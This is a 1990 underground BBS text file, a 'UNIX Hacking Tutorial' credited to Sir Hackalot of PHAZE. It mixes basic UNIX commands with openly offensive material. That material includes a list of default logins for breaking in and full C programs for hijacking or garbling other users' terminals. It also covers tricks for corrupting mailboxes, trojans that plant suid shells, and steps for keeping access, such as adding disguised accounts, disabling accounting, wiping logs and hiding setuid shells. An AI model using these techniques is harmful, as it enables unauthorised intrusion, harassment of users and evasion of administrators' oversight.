UNIX Hacking Tutorial

[Dark_Code_x]

This phile is geared as an UNIX tutorial at first, to let you get more
familiar with the operating system. UNIX is just an operating system, as
is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
multi-tasking system, thus bringing a need for security not found on MSDOS,
AppleDOS, etc. This phile will hopefully teach the beginners who do not have
a clue about how to use UNIX a good start, and may hopefully teach old pros
something they didn't know before. This file deals with UNIX SYSTEM V and
its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).

Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
so fast, 3 days after you read this file, if I put a BBS in it where you could
reach me, it may be down! Just look for me.

I can be reached on DarkWood Castle [If it goes back up], but that board
is hard to get access on, but I decided to mention it anyway.

I *COULD* Have been reached on jolnet, but......

This file may have some bad spelling, etc, or discrepencies since it was
spread out over a long time of writing, because of school, work, Girl friend,
etc. Please, no flames. If you don't like this file, don't keep it.

This is distributed under PHAZE Inc. Here are the members (and ex ones)
The Dark Pawn
The Data Wizard
Sir Hackalot (Me)
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)

_____________________________________________________________________________


-------------
o Dedication:
-------------
This phile is dedicated to the members of LOD that were raided in
Atlanta. The members that got busted were very good hackers, especially
The Prophet. Good luck to you guys, and I hope you show up again somewhere.
_____________________________________________________________________________

------------------------
o A little History, etc:
------------------------

UNIX, of course, was invented By AT&T in the 60's somewhere, to be
"a programmer's operating system." While that goal was probably not reached
when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
written in C, or at least large parts of it are, thus making it a portable
operating system. We know that MSDOS corresponds to IBM/clone machines,
right? Well, this is not the case with UNIX. We do not associate it with
any one computer since it has been adapted for many, and there are many
UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
of UNIX. Remember, no matter what the name of the operating system is [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
commands the operating system uses. Some variants may have features others
do not, but they are basically similar in that they have a lot of the same
commands/datafiles. When someone tries to tell you that UNIX goes along with
a certain type of computer, they may be right, but remember, some computers
have more than one Operating system. For instance, one person may tell you
that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
only reason I stated that, was because I have seen many messages with info
/comparisons in it like that, which confuse users when they see a VAX running
VMS.
____________________________________________________________________________


-------------------------------
o Identifying a Unix/Logging in
-------------------------------

From now on, I will be referring to all the UNIX variants/etc as
UNIX, so when I say something about UNIX, it generally means all the variants
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
I state a variant in particular.

Okay. Now its time for me to tell you how a unix USUALLY greets you.
First, when you call up a UNIX, or connect to one however you do, you will
usually get this prompt:

login:

Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
although there are BBS's that can mimic the login procedure of an OS
(Operating System), thus making some people believe its a Unix. [Hah!].
Some Unixes will tell you what they are or give you a message before a
login: prompt, as such:

Welcome to SHUnix. Please log in.

login:

Or something like that. Public access Unixes [like Public BBSs] will
tell you how to logon if you are a new users. Unfortunatly, this phile is
not about public access Unixes, but I will talk about them briefly later, as
a UUCP/UseNet/Bitnet address for mail.
OK. You've gotten to the login prompt! Now, what you need to do
here is enter in a valid account. An Account usually consists of 8 characters
or less. After you enter in an account, you will probably get a password
prompt of some sort. The prompts may vary, as the source code to the login
program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults. The defaults are ones that came with
the operating system, in standard form. The list of some of the Defaults
are as follows:

ACCOUNT PASSWORD
------- --------
root root - Rarely open to hackers
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot * See Below
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power. Other
logins are just "user level" logins meaning they only have power over what
files/processes they own. I'll get into that later, in the file permissions
section. The REBOOT login is what as known as a command login, which just
simply doesn't let you into the operating system, but executes a program
assigned to it. It usually does just what it says, reboot the system. It
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.

COMMAND LOGINS:
---------------

There are "command logins", which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT's computers. Here are some:

rwho - show who is online
finger - same
who - same

These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.


Errors:
-------

When you get an invalid Account name / invalid password, or both, you will
get some kind of error. Usually it is the "login incorrect" message. When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password. It
does not tell you which mistake you made, for obvious reasons. Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.

Another error is "Cannot change to home directory" or "Cannot Change
Directory." This means that no "home directory" which is essentially the
'root' directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ '/'].

Another error is "No Shell". This means that no "shell" was defined
for that particular account. The "shell" will be explained later. Some
systems will log you off after this message. Others will tell you that they
will use the regular shell, by saying "Using the bourne shell", or "Using sh"

-----------------------------
Accounts In General :
-----------------------------

This section is to hopefully describe to you the user structure
in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power,
or just a regular user. The ones that have absolute power are those users
at the root level. Ok, now is the time to think in numbers. Unix associates
numbers with account names. each account will have a number. Some will have
the same number. That number is the UID [user-id] of the account. the root
user id is 0. Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them. for instance, If my user-id is 50, and someone else's
is 50, with both have absolute power of each other, but no-one else.
_____________________________________________________________________________

---------------
Shells :
---------------

A shell is an executable program which loads and runs when a user
logs on, and is in the foreground. This "shell" can be any executable prog-
ram, and it is defined in the "passwd" file which is the userfile. Each
login can have a unique "shell". Ok. Now the shell that we usually will work
with is a command interpreter. A command interpreter is simply something
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
kernel [operating system]. A shell can be anything, as I said before,
but the one you want to have is a command interpreter. Here are the
usual shells you will find:

sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
a "script" language, as do most of the command interpreters on Unix sys-
tems.

csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.
There are many others, including "homemade " shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard. Remember, the shell is just the program you get to use
and when it is done executing, you get logged off. A good example of a
homemade shell is on Eskimo North, a public access Unix. The shell
is called "Esh", and it is just something like a one-key-press BBS,
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
Several companies use Word Processors, databases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators. Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:
HI:

_____________________________________________________________________________

------------------------
SPecial Characters, ETc:
------------------------

Control-D : End of file. When using mail or a text editor, this will end
the message or text file. If you are in the shell and hit control-d you get
logged off.

Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard. This can represent a letter. If you specified
something at the command line like "b?b" Unix would look for bob,bib,bub,
and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a "hi*"
it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
hi. "H*l" could by hill, hull, hl, and anything that starts with an
H and ends with an L.

[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
[], ?, and * are usually used with copy, deleting files, and directory
listings.

EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
the same thing. This allows for many files to be able to be stored, since
"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters. Most everything is lower case though.



"mail username@address" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use "mail user@address" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps. The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually. I could look

then look like this to the computer:

mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I'd do this if there were no smart mailer:

$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Hey Guy. Whats up? Well, gotta go. Nice long message huh?
[control-D]
$
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>

Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.

To read YOUR mail, just type in mail. IE:

$ mail

From scythian ............
To sirhack ............
Subject: Well....

Arghhh!

?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:

d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.

There are others, to see them, you'd usually hit '?'.

--------

If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.

ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by "ps" is your shell name. Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian". The watch program would
go into the background, meaning I'd still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"

kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:


Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loozer tty1
sirhack tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loozer. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = "/dev/";
int acnt = 2;
FILE *strm;
pstr = "";
if (argc == 1) {
printf("OL (OneLiner) Version 1.00 \n");
printf("By Sir Hackalot [PHAZE]\n");
printf("\nSyntax: ol tty message\n");
printf("Example: ol tty01 You suck\n");
exit(1);
}
printf("OL (OneLiner) Version 1.0\n");
printf("By Sir Hackalot [PHAZE]\n");
if (argc == 2) {
strcpy(olm,"");
printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
printf("Enter one Here => ");
gets(olm);
}
strcpy(pstr,"");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf("Sending to: [%s]\n",pstr);
strm = fopen(pstr,"a");
if (strm == NULL) {
printf("Error writing to: %s\n",pstr);
printf("Cause: No Write Perms?\n");
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
fprintf(strm,"%s\n",olm);
fclose(strm);
printf("Message Sent.\n");
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
while (acnt <= argc - 1) {
fprintf(strm,"%s ",argument[acnt]);
acnt++;
}
fclose(strm);
printf("Message sent!\n");
exit(0);
}
}

What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named "sirhack" it will notify sirhack
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:

$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

You can even use it to fake messages from root. Here is another:


/*
* Hose another user
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>

#define NMAX sizeof(ubuf.ut_name)

struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = "Unknown";
char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;

main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
FILE *pfp, *popen();

if (argc < 2) {
printf("usage: hose user [ttyname]\n");
exit(1);
}
him = argv[1];

if (argc > 2)
histtya = argv[2];
if ((uf = fopen("/etc/utmp", "r")) == NULL) {
printf("cannot open /etc/utmp\n");
exit(1);
}
cuserid(me);
if (me == NULL) {
printf("Can't find your login name\n");
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {
printf("Can't find your tty\n");
exit(1);
}
if (stat(mytty, &stbuf) < 0) {
printf("Can't stat your tty -- This System is bogus.\n");
}
if ((stbuf.st_mode&02) == 0) {
printf("You have write permissions turned off (hehe!).\n");
}

if (histtya) {
if (!strncmp(histtya, "/dev/", 5))
histtya = strrchr(histtya, '/') + 1;
strcpy(histty, "/dev/");
strcat(histty, histtya);
}
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
if (ubuf.ut_name[0] == '\0')
continue;
if (!strncmp(ubuf.ut_name, him, NMAX)) {
logcnt++;
if (histty[0]==0) {
strcpy(histty, "/dev/");
strcat(histty, ubuf.ut_line);
}
if (histtya) {
if (!strcmp(ubuf.ut_line, histtya))
goodtty++;
}
}
}
fclose(uf);
if (logcnt==0) {
printf("%s not found! (Not logged in?)\n", him);
exit(1);
}

if (histtya==0 && logcnt > 1) {
printf("%s logged more than once\nwriting to %s\n", him, histty+5);
}
if (access(histty, 0) < 0) {
printf("No such tty? [%s]\n",histty);
exit(1);
}
signal(SIGALRM, timout);
alarm(5);
if ((tf = fopen(histty, "w")) == NULL)
goto perm;
alarm(0);
if (fstat(fileno(tf), &stbuf) < 0)
goto perm;
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
goto perm;
ioctl(0, TCGETA, &oldmode); /* save tty state */
ioctl(0, TCGETA, &mode);
sigs(eof);
uname(&name);
if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
if (yn == 1 ) {
fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
fclose(tf);
printf("Critical Error Handler: %s running conflicting process\n",him);
exit(1);
}
fflush(tf);
mode.c_cc[4] = 1;
mode.c_cc[5] = 0;
mode.c_lflag &= ~ICANON;
ioctl(0, TCSETAW, &mode);
lastc = '\n';


printf("Backspace / Spin Cursor set lose on: %s\n",him);
while (loop == 0) {
c1 = '\b';
write(fileno(tf),&c1,1);
sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
fflush(tf);
}




perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
register i;
sigs(SIG_IGN);
i = fork();
if (i < 0) {
printf("Try again\n");
goto out;
}
if (i == 0) {
sigs((int (*)())0);
execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
exit(0);
}
while(wait((int *)NULL) != i)
;
printf("!\n");
out:
sigs(eof);
}

sigs(sig)
int (*sig)();
{
register i;
for (i=0; signum; i++)
signal(signum, sig);
}



What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include <stdio.h>
#include <fcntl.h>
main(argc,argv)
char *argv[];
int argc;
{
int x = 1;
char *device = "/dev/";
FILE *histty;
if (argc == 1) {
printf("Bafoon. Supply a TTY.\n");
exit(1);
}
strcat(device,argv[1]);
/* Make the filename /dev/tty.. */
histty = fopen(device,"a");
if (histty == NULL) {
printf("Error opening/writing to tty. Check their perms.\n");
exit(1);
}
printf("BSV - Backspace virus, By Sir Hackalot.\n");
printf("The Sucker on %s is getting it!\n",device);
while (x == 1) {
fprintf(histty,"\b\b");
fflush(histty);
sleep(5);
}
}

Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:

$ who
sirhack tty11
loozer tty12
$ bsv tty12&
[1] 4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).

** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right. Else, you'll see a ^M at the end of every
line. I know that sucks, but you just have to compensate for it.

I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer. You can annoy
users other ways. One thing you can do is screw up the user's mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read. then, do this:

$ cat binary_file | mail loozer

or

$ mail loozer < binary file

That usually will spilt into 2 messages or more. The 1st message will
have a from line.. (from you ..), but the second WILL NOT! Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed.. The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
From username..

then it will be ok. You can screw the user by "cat"ing a binary to his tty.
say Loozer is on tty12. You can say..
$ cat binary_file >/dev/tty12
$
It may pause for a while while it outputs it. If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
$
And he will probably logoff. You can send the output of anything to his
terminal. Even what YOU do in shell. Like this:
$ sh >/dev/tty12
$
You'll get your prompts, but you won't see the output of any commands, he
will...
$ ls
$ banner Idiot!
$ echo Dumbass!
$
until you type in exit, or hit ctrl-d.


There are many many things you can do. You can fake a "write" to someone
and make them think it was from somewhere on the other side of hell. Be
creative.

When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell. If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID. (kill -9 whatever). Or, you can
lock them out by adding "kill -1 0" to their .profile. On the subject of
holes, always look for BAD suid bits. On one system thought to be invincible
I was able to read/modify everyone's mail, because I used a mailer that had
both the GroupID set, and the UserID set. When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff. But it was not designed to change
the GROUP ID back. The sysop had blundered there. SO when I did an ID
I found my group to be "Mail". Mailfiles are readble/writeable by the
user "mail", and the group "mail". I then set up a sgid (set group id) shell
to change my group id to "mail" when I ran it, and scanned important mail,
and it got me some good info. So, be on the look out for poor permissions.

Also, after you gain access, you may want to keep it. Some tips on doing so
is:
1. Don't give it out. If the sysadm sees that joeuser logged in 500
times in one night....then....
2. Don't stay on for hours at a time. They can trace you then. Also
they will know it is irregular to have joeuser on for 4 hours
after work.
3. Don't trash the system. Don't erase important files, and don't
hog inodes, or anything like that. Use the machine for a specific
purpose (to leech source code, develop programs, an Email site).
Dont be an asshole, and don't try to erase everything you can.
4. Don't screw with users constantly. Watch their processes and
run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there
If you see a bunch of accounts that are just 3 letter abbrv.'s,
then make yours so. If a bunch are "cln, dok, wed" or something,
don't add one that is "joeuser", add one that is someone's
full initials.

6. When you add an account, put a woman's name in for the
description, if it fits (Meaning, if only companies log on to the
unix, put a company name there). People do not suspect hackers
to use women's names. They look for men's names.
7. Don't cost the Unix machine too much money. Ie.. don't abuse an
outdial, or if it controls trunks, do not set up a bunch of dial
outs. If there is a pad, don't use it unless you NEED it.
8. Don't use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to.
Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you
get access.
11. Do NOT change the MOTD file to say "I hacked this system" Just
thought I'd tell you. Many MANY people do that, and lose access
within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean
up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here's how:
goto /usr
(or any dir)
do:
# mkdir ".. "
# cd ".. "
# cp /bin/sh ".whatever"
# chmod a+s ".whatever"
The "" are NEEDED to get to the directory .. ! It will not show
up in a listing, and it is hard as hell to get to by sysadms if
you make 4 or 5 spaces in there (".. "), because all they will
see in a directory FULL list will be .. and they won't be able to
get there unless they use "" and know the spacing. "" is used
when you want to do literals, or use a wildcard as part of a file
name.
16. Don't hog cpu time with password hackers. They really don't work
well.

17. Don't use too much disk space. If you archieve something to dl,
dl it, then kill the archieve.
18. Basically -- COVER YOUR TRACKS.

Some final notes:

Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here's the story:

Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all...(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes. You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.


You can use this phile for whatever you want. I can't stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.

This phile was not meant to be comprehensive, even though it may seem like
it. I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets. You may pass this file on, UNMODIFIED, to any
GOOD H/P BBS. Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose. This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.